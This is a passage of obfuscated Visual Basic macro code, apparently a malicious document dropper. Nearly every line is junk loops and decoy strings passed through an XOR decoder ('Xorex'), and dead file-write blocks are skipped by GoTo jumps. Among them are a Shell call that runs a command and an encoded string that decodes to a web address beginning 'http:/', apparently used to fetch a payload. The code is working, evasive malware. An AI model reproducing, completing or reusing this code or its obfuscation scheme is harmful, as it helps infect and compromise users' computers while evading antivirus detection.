  566. TQqIdnLJ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(41) & Chr(122) & Chr(60) & Chr(49) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  567. qUKenWQO = LTrim(TQqIdnLJ)
  568. GZnvDjZn = RTrim(qUKenWQO)
  569.  
  570. DoEvents
  571. Next YtyuwbQu
  572. Dim kPIYhXFB, YbDpwUNU, oQzrttOz As String
  573. kPIYhXFB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(42) & Chr(122) & Chr(33) & Chr(62) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  574. YbDpwUNU = LTrim(kPIYhXFB)
  575. oQzrttOz = RTrim(YbDpwUNU)
  576.  
  577. Close #33
  578. Dim KOwCXdTB As Integer
  579. For KOwCXdTB = 0 To 9
  580. Dim OBZMvKRj, IPyUxMpG, MHKPBUfN As String
  581. OBZMvKRj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(58) & Chr(106) & Chr(38) & Chr(59) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  582. IPyUxMpG = LTrim(OBZMvKRj)
  583. MHKPBUfN = RTrim(IPyUxMpG)
  584.  
  585. DoEvents
  586. Next KOwCXdTB
  587. Dim eiigUINO, BoknzDcP, MoADxKWQ As String
  588. eiigUINO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(32) & Chr(105) & Chr(32) & Chr(60) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  589. BoknzDcP = LTrim(eiigUINO)
  590. MoADxKWQ = RTrim(BoknzDcP)
  591.  
  592. mhQRjNnQ:
  593.  
  594. Dim oQdUquPl As Integer
  595. For oQdUquPl = 0 To 1
  596. Dim UaAZnmUO, dXoVFGbA, KKJlaqjl As String
  597. UaAZnmUO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(62) & Chr(114) & Chr(38) & Chr(56) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  598. dXoVFGbA = LTrim(UaAZnmUO)
  599. KKJlaqjl = RTrim(dXoVFGbA)
  600.  
  601. DoEvents
  602. Next oQdUquPl
  603. Dim IfFphwkD, CrMDwuEw, bgoUtRdH As String
  604. IfFphwkD = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(35) & Chr(125) & Chr(56) & Chr(62) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  605. CrMDwuEw = LTrim(IfFphwkD)
  606. bgoUtRdH = RTrim(CrMDwuEw)
  607.  
  608.     Close #TRULUSUSFEP
  609.  
  610. GoTo zvBnllQs
  611. Dim gRQEXiFx As String
  612. Open Xorex(Chr(39) & Chr(61) & Chr(117) & Chr(60) & Chr(55) & Chr(59) & Chr(75) & Chr(55) & Chr(34) & Chr(49), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 94
  613. Dim wkxMeHaA As Integer
  614. For wkxMeHaA = 0 To 8
  615. Dim EoNtDWiF, HgSihOqB, zmvqJcgo As String
  616. EoNtDWiF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(37) & Chr(123) & Chr(62) & Chr(54) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  617. HgSihOqB = LTrim(EoNtDWiF)
  618. zmvqJcgo = RTrim(HgSihOqB)
  619.  
  620. DoEvents
  621. Next wkxMeHaA
  622. Dim FxAKjzyy, OcQrQuEi, RvXhyqao As String
  623. FxAKjzyy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(41) & Chr(120) & Chr(50) & Chr(59) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  624. OcQrQuEi = LTrim(FxAKjzyy)
  625. RvXhyqao = RTrim(OcQrQuEi)
  626.  
  627. Put #94, , gRQEXiFx
  628. Dim mbPBpfiY As Integer
  629. For mbPBpfiY = 0 To 3
  630. Dim iZjxEDTd, SvBJHixt, klYseEgX As String
  631. iZjxEDTd = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(60) & Chr(125) & Chr(54) & Chr(34) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  632. SvBJHixt = LTrim(iZjxEDTd)
  633. klYseEgX = RTrim(SvBJHixt)
  634.  
  635. DoEvents
  636. Next mbPBpfiY
  637. Dim rhfcMBis, lylaNPlM, WjUWOieg As String
  638. rhfcMBis = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(33) & Chr(101) & Chr(49) & Chr(32) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  639. lylaNPlM = LTrim(rhfcMBis)
  640. WjUWOieg = RTrim(lylaNPlM)
  641.  
  642. Close #94
  643. Dim lPHvugRD As Integer
  644. For lPHvugRD = 0 To 8
  645. Dim OzskPvLW, XoVmsdXy, MLAipgZR As String
  646. OzskPvLW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(47) & Chr(125) & Chr(56) & Chr(44) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  647. XoVmsdXy = LTrim(OzskPvLW)
  648. MLAipgZR = RTrim(XoVmsdXy)
  649.  
  650. DoEvents
  651. Next lPHvugRD
  652. Dim JZGPdgLC, SENCUljB, IRpozcFN As String
  653. JZGPdgLC = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(49) & Chr(115) & Chr(48) & Chr(35) & Chr(34) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  654. SENCUljB = LTrim(JZGPdgLC)
  655. IRpozcFN = RTrim(SENCUljB)
  656.  
  657. zvBnllQs:
  658.  
  659. Dim wkcCTitH As Integer
  660. For wkcCTitH = 0 To 9
  661. Dim SczZNIDR, klOCdrTw, Cgkkbvxf As String
  662. SczZNIDR = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(32) & Chr(116) & Chr(42) & Chr(44) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  663. klOCdrTw = LTrim(SczZNIDR)
  664. Cgkkbvxf = RTrim(klOCdrTw)
  665.  
  666. DoEvents
  667. Next wkcCTitH
  668. Dim tPfwTbdI, lnlNPqvj, XQULmIiP As String
  669. tPfwTbdI = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(42) & Chr(101) & Chr(49) & Chr(59) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  670. lnlNPqvj = LTrim(tPfwTbdI)
  671. XQULmIiP = RTrim(lnlNPqvj)
  672.  
  673.    
  674.     Dim VNFIMIAERHX
  675.  
  676.     VNFIMIAERHX = Shell(XOGQTIGBKHF, 1)
  677.  
  678.     Set DJJTVHAZKJC = Nothing
  679.  
  680. GoTo CejplmFF
  681. Dim ooedWiJB As String
  682. Open Xorex(Chr(61) & Chr(39) & Chr(109) & Chr(60) & Chr(37) & Chr(33) & Chr(75) & Chr(49) & Chr(40) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 89
  683. Dim mmirnAEI As Integer
  684. For mmirnAEI = 0 To 3
  685. Dim gRyROGbQ, nPKIsEEX, vwwmpTom As String
  686. gRyROGbQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(42) & Chr(122) & Chr(49) & Chr(44) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  687. nPKIsEEX = LTrim(gRyROGbQ)
  688. vwwmpTom = RTrim(nPKIsEEX)
  689.  
  690. DoEvents
  691. Next mmirnAEI
  692. Dim llxyYHMO, hlYlaMkP, qmHRmBGQ As String
  693. llxyYHMO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(61) & Chr(116) & Chr(58) & Chr(60) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  694. hlYlaMkP = LTrim(llxyYHMO)
  695. qmHRmBGQ = RTrim(hlYlaMkP)
  696.  
  697. Put #89, , ooedWiJB
  698. Dim VaklusKS As Integer
  699. For VaklusKS = 0 To 2
  700. Dim qGlaTiHc, GPawLZIg, IaKuOOCK As String
  701. qGlaTiHc = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(58) & Chr(126) & Chr(50) & Chr(36) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  702. GPawLZIg = LTrim(qGlaTiHc)
  703. IaKuOOCK = RTrim(GPawLZIg)
  704.  
  705. DoEvents
  706. Next VaklusKS
  707. Dim cIDsIfAA, NLzykPqW, gOiPcxxE As String
  708. cIDsIfAA = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(59) & Chr(102) & Chr(41) & Chr(61) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  709. NLzykPqW = LTrim(cIDsIfAA)
  710. gOiPcxxE = RTrim(NLzykPqW)
  711.  
  712. Close #89
  713. Dim IHhAnnKu As Integer
  714. For IHhAnnKu = 0 To 5
  715. Dim RfFrwTRb, HlnuVlUP, ebdpbuQW As String
  716. RfFrwTRb = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(46) & Chr(116) & Chr(63) & Chr(51) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  717. HlnuVlUP = LTrim(RfFrwTRb)
  718. ebdpbuQW = RTrim(HlnuVlUP)
  719.  
  720. DoEvents
  721. Next IHhAnnKu
  722. Dim NiYxbhRY, XiHIMlzI, JoaMgvbO As String
  723. NiYxbhRY = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(32) & Chr(123) & Chr(59) & Chr(33) & Chr(34) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  724. XiHIMlzI = LTrim(NiYxbhRY)
  725. JoaMgvbO = RTrim(XiHIMlzI)
  726.  
  727. CejplmFF:
  728.  
  729. Dim Xswedqaa As Integer
  730. For Xswedqaa = 0 To 7
  731. Dim gJMzjjMM, MSZxEQSS, DelimKah As String
  732. gJMzjjMM = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(56) & Chr(116) & Chr(50) & Chr(39) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  733. MSZxEQSS = LTrim(gJMzjjMM)
  734. DelimKah = RTrim(MSZxEQSS)
  735.  
  736. DoEvents
  737. Next Xswedqaa
  738. Dim CpZpwSmv, bwJrtprK, FsXUqWhn As String
  739. CpZpwSmv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(61) & Chr(124) & Chr(50) & Chr(37) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  740. bwJrtprK = LTrim(CpZpwSmv)
  741. FsXUqWhn = RTrim(bwJrtprK)
  742.  
  743.      
  744. End Function
  745. Sub JWYBNRLBKQR()
  746.  
  747. GoTo jHlXfgkj
  748. Dim ZCyBHzwn As String
  749. Open Xorex(Chr(62) & Chr(54) & Chr(119) & Chr(45) & Chr(63) & Chr(57) & Chr(75) & Chr(45) & Chr(52) & Chr(52), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 52
  750. Dim ODnPnHVL As Integer
  751. For ODnPnHVL = 0 To 2
  752. Dim yIpEfZQO, kFXYHjFL, RMIOkrKr As String
  753. yIpEfZQO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(46) & Chr(124) & Chr(37) & Chr(34) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  754. kFXYHjFL = LTrim(yIpEfZQO)
  755. RMIOkrKr = RTrim(kFXYHjFL)
  756.  
  757. DoEvents
  758. Next ODnPnHVL
  759. Dim GWxqCrmq, QXUxkiKs, YXJISdhd As String
  760. GWxqCrmq = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(58) & Chr(118) & Chr(35) & Chr(61) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  761. QXUxkiKs = LTrim(GWxqCrmq)
  762. YXJISdhd = RTrim(QXUxkiKs)
  763.  
  764. Put #52, , ZCyBHzwn
  765. Dim yihEhlnZ As Integer
  766. For yihEhlnZ = 0 To 3
  767. Dim xnNSTDsA, awIuKirl, YkhAyZWq As String
  768. xnNSTDsA = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(39) & Chr(99) & Chr(34) & Chr(45) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  769. awIuKirl = LTrim(xnNSTDsA)
  770. YkhAyZWq = RTrim(awIuKirl)
  771.  
  772. DoEvents
  773. Next yihEhlnZ
  774. Dim YSGcrHZv, oCrkDfsL, cDoWLBcA As String
  775. YSGcrHZv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(49) & Chr(56) & Chr(114) & Chr(58) & Chr(52) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  776. oCrkDfsL = LTrim(YSGcrHZv)
  777. cDoWLBcA = RTrim(oCrkDfsL)
  778.  
  779. Close #52
  780. Dim qRGZJsEv As Integer
  781. For qRGZJsEv = 0 To 4
  782. Dim wxwDYhEj, liBbRkoH, TfQZytdN As String
  783. wxwDYhEj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(40) & Chr(114) & Chr(54) & Chr(39) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  784. liBbRkoH = LTrim(wxwDYhEj)
  785. TfQZytdN = RTrim(liBbRkoH)
  786.  
  787. DoEvents
  788. Next qRGZJsEv
  789. Dim SHrGhiyI, IJfaPdEO, EJcdtjaP As String
  790. SHrGhiyI = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(36) & Chr(98) & Chr(49) & Chr(59) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  791. IJfaPdEO = LTrim(SHrGhiyI)
  792. EJcdtjaP = RTrim(IJfaPdEO)
  793.  
  794. jHlXfgkj:
  795.  
  796. Dim qTSFapfU As Integer
  797. For qTSFapfU = 0 To 4
  798. Dim EfGPsGLS, wRTweXih, abfHhkNi As String
  799. EfGPsGLS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(48) & Chr(61) & Chr(97) & Chr(63) & Chr(52) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  800. wRTweXih = LTrim(EfGPsGLS)
  801. abfHhkNi = RTrim(wRTweXih)
  802.  
  803. DoEvents
  804. Next qTSFapfU
  805. Dim yGZKlKzU, mTIxbEfh, CHXjoaCP As String
  806. yGZKlKzU = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(46) & Chr(118) & Chr(35) & Chr(56) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  807. mTIxbEfh = LTrim(yGZKlKzU)
  808. CHXjoaCP = RTrim(mTIxbEfh)
  809.  
  810. bdskk = Xorex(Chr(3) & Chr(4) & Chr(76) & Chr(27) & Chr(93) & Chr(95) & Chr(74) & Chr(6) & Chr(0) & Chr(2) & Chr(19) & Chr(16) & Chr(12) & Chr(95) & Chr(22) & Chr(7) & Chr(13) & Chr(20) & Chr(68) & Chr(72) & Chr(22) & Chr(4) & Chr(75) & Chr(14) & Chr(7) & Chr(83) & Chr(28) & Chr(2) & Chr(12) & Chr(27) & Chr(31) & Chr(20) & Chr(89) & Chr(11) & Chr(27) & Chr(25) & Chr(71) & Chr(15) & Chr(75) & Chr(28), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  811.  
  812. GoTo HJKzlDPM
  813. Dim eCRtMADt As String
  814. Open Xorex(Chr(38) & Chr(54) & Chr(96) & Chr(33) & Chr(49) & Chr(39) & Chr(75) & Chr(48) & Chr(39) & Chr(48), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 92
  815. Dim oLbCkGPA As Integer
  816. For oLbCkGPA = 0 To 1
  817. Dim VtNDJEUB, pqSHljPp, wjvLWtFm As String
  818. VtNDJEUB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(45) & Chr(118) & Chr(54) & Chr(58) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  819. pqSHljPp = LTrim(VtNDJEUB)
  820. wjvLWtFm = RTrim(pqSHljPp)
  821.  
  822. DoEvents
  823. Next oLbCkGPA
  824. Dim cALaoxse, lArdEnOr, gZfvVTut As String
  825. cALaoxse = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(49) & Chr(114) & Chr(39) & Chr(45) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  826. lArdEnOr = LTrim(cALaoxse)
  827. gZfvVTut = RTrim(lArdEnOr)
  828.  
  829. Put #92, , eCRtMADt
  830. Dim SbUhQpLN As Integer
  831. For SbUhQpLN = 0 To 2
  832. Dim TNcEZIfr, qXyVGetX, GJDlevCD As String
  833. TNcEZIfr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(50) & Chr(102) & Chr(38) & Chr(34) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  834. qXyVGetX = LTrim(TNcEZIfr)
  835. GJDlevCD = RTrim(qXyVGetX)
  836.  
  837. DoEvents
  838. Next SbUhQpLN
  839. Dim ugatonxL, mtuIgsIA, ChwZVOjX As String
  840. ugatonxL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(35) & Chr(126) & Chr(59) & Chr(50) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
